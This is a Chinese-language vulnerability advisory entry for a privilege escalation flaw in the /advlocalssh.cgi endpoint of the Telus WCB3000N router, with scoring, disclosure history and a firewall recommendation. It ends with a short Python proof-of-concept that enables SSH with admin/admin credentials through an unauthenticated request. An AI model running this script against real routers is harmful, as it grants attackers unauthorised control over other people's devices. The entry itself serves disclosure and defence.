Telus WCB3000N 0.16.2.5 SSH /advlocalssh.cgi 权限提升

历史差异连接jsonxmlCTI

CVSS 元临时分数	当前攻击价格 (≈)	CTI兴趣分数
8.6	$0-$5k	0.00

摘要信息

在Telus WCB3000N 0.16.2.5中曾发现一漏洞, 此漏洞被申报为致命。被影响的是未知函数，属于/advlocalssh.cgi库，属于SSH组件。当被操控时，会导致权限提升。攻击可能远程发起，而且，有现成的漏洞利用。建议应用限制性防火墙措施。

在Telus WCB3000N 0.16.2.5中曾发现一漏洞, 此漏洞被申报为致命。被影响的是未知函数，属于/advlocalssh.cgi库，属于SSH组件。当被操控时，会导致权限提升。通过 CWE 声明此问题将指向 CWE-269。此漏洞的脆弱性 2016-11-07由公示人Andrew Klaus、公示人身份Actiontec WCB3000N (Telus Branded) Local Unauthenticated Privilege Elevation、公示人类型为Mailinglist Post (Full-Disclosure)所公布。阅读公告的网址是seclists.org。此公开发布未经过与厂商的协调。

攻击可能远程发起，技术细节已公开。该漏洞的普及率低于常规水平。而且，有现成的漏洞利用。该漏洞利用已公开，攻击者可能会加以利用。当前漏洞利用的价值为美元大约是$0-$5k 。该漏洞由MITRE ATT&CK项目分配为T1068。

若有长度，则其被标记为概念验证。可以在seclists.org下载该漏洞利用。我们估计的零日攻击价值约为$0-$5k。此漏洞利用的代码如下：

import requests
ssh_data = {"command": "apply",
            "mypage": "adv_localssh.html",
            "advanced_ssh_enable":"1",
            "advanced_ssh_username":"admin",
            "advanced_ssh_password":"admin",
            "advanced_ssh_port":"22",
            "advanced_ssh_timeout":"",
            "sel_ssh_timeout":"1800",
            "custom_ssh_timeout": ""}
s = requests.session()
s.post("http://<device_ip>/advlocalssh.cgi", ssh_data)

建议应用限制性防火墙措施。